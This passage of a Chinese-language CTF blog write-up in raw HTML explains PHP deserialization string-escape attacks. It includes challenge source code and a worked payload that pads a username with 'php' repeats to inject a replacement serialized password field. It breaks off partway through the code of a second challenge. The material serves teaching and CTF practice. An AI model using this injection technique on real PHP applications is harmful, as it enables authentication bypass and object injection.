encoding=\"application/x-tex\">uname部分我们可控，</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.6833em;\"></span><span class=\"mord mathnormal\">u</span><span class=\"mord mathnormal\">nam</span><span class=\"mord mathnormal\">e</span><span class=\"mord cjk_fallback\">部分我们可控，</span></span></span></span>password他预先赋值为Eurake，我们要做的就是绕过这个原本的赋值将$password赋值为lu1ux</p>\n<p>由于我手上没有题目环境了，所以我把题目稍稍修改了一下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> a</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">===</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">lu1ux</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag is ZLARYY&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">     </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">                echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">wrong password</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">string</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> str_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">hack</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">string</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">password</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Eurake</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ser</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#59873A;--shiki-dark:#80A665\">filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">test</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ser</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//$uname可控</span></span></code></pre>\n<p>当我把uname赋值为php，我们 输出一下序列化字符串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:1:\"a\":2:&#123;s:5:\"uname\";s:3:\"hack\";s:8:\"password\";s:6:\"Eurake\";&#125;</span></span></code></pre>\n<p>我们发现了一个奇怪的地方：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>s:3:\"hack\"</span></span></code></pre>\n<p>那么这就是漏洞所在了，s:3的结构导致溢出了一位</p>\n<p>那么我们的思路应该是这样：构造新的password序列化字符串包含在uname里面，通过溢出的字符个数来作为实际上会被反序列化的序列化字符串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//新的password序列化字符串：</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;s:8:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">password</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;s:5:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">lu1ux</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;&#125;//这里用&#125;的原因是闭合前面的&#123;，使其成为完整的序列化字符串而不考虑后面</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">//经过计数，一共有30个字符需要溢出</span></span></code></pre>\n<p>那么最终我们的payload中uname需要包含30个php，即：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">uname</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp\";s:8:\"password\";s:5:\"lu1ux\";&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>最终序列化字符串结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:1:\"a\":2:&#123;s:5:\"uname\";s:120:\"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack\";s:8:\"password\";s:5:\"lu1ux\";&#125;\";s:8:\"password\";s:6:\"Eurake\";&#125;</span></span></code></pre>\n<p>第一串里面刚好有30个hack对应120，那么我们试试这串payload能不能得到我们想要的结果：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8%E5%A2%9E%E5%8A%A0.png\" class=\"\" title=\"字符串逃逸增加\"></p>\n<p>成功了，所以字符串逃逸增加的重点就在于我们要把需要的内容作为属性的值传入，同时构造相应长度的字符串来溢出</p>\n<h3 id=\"字符串逃逸-减少\"><a class=\"anchor\" href=\"#字符串逃逸-减少\">#</a> 字符串逃逸-减少</h3>\n<p>这里选择2026furryCTF上的babypop题目作为演示 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> SecurityProvider</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">token</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">token</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> md5</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">uniqid</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> verify</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strpos</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">..</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> !==</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> false</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            die</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Attack Detected</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> LogService</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">formatter</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">formatter</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> DateFormatter</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> method_exists</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">close</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">close</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> FileStream</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> 